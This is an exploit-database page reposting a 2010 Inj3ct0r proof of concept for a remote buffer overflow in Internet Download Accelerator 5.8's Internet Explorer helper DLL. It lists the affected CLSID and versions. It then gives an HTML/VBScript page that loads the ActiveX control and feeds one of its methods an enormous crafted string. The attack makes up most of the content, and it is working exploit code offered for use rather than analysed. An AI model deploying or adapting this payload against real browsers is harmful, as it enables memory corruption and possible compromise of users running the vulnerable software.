Home / os / win7

Internet Download Accelerator 5.8 Remote Buffer Overflow PoC

Posted on 07 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Internet Download Accelerator 5.8 Remote Buffer Overflow PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================
Internet Download Accelerator 5.8 Remote Buffer Overflow PoC
============================================================

============================================================
Internet Download Accelerator 5.8 Remote Buffer Overflow PoC
============================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 0     _                   __           __       __                     1
 1   /'             __  /'__`        / \__  /'__`                   0
 0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
 1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
 0       / /    /   / \__/  \_  \_   /           1
 1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
 0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
 1                   \____/ &gt;&gt; Exploit database separated by exploit   0
 0                   /___/          type (local, remote, DoS, etc.)    1
 1                                                                      1
 0  [+] Site            : Inj3ct0r.com                                  0
 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
 0                                                                      0
 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

&lt;!--========================== ==================================================
Internet Explorer ver 7.0.5730.13
Tested On Windows SP2
Inj3ct0r team &amp; yogyacarderlink team
Bug discovered by eidelweiss
Affected Software: idaiehlp.dll  BHO: IE 4.x-6.x BHO for Internet Download Accelerator - {2A646672-9C3A-4C28-9A7A-1FB0F63F28B6}
DLL VER : 2.4.1.110
program ver : 5.8.3.1221
download link : http://download1.westbyte.com/ida/idasetup.exe
vendor www. westbyte.com
www.inj3ct0r.com
www.yogyacarderlink.web.id
==============================================================================--&gt;
&lt;html&gt;
&lt;object classid=&quot;clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6&quot; id=&quot;idaiehlp&quot;&gt;&lt;/object&gt;
&lt;script language='vbscript'&gt;
arg1=String(9696969, &quot;A&quot;) + String(999999, unescape(&quot;%960&quot;))
idaiehlp.NotSafe (arg1)
&lt;/script&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :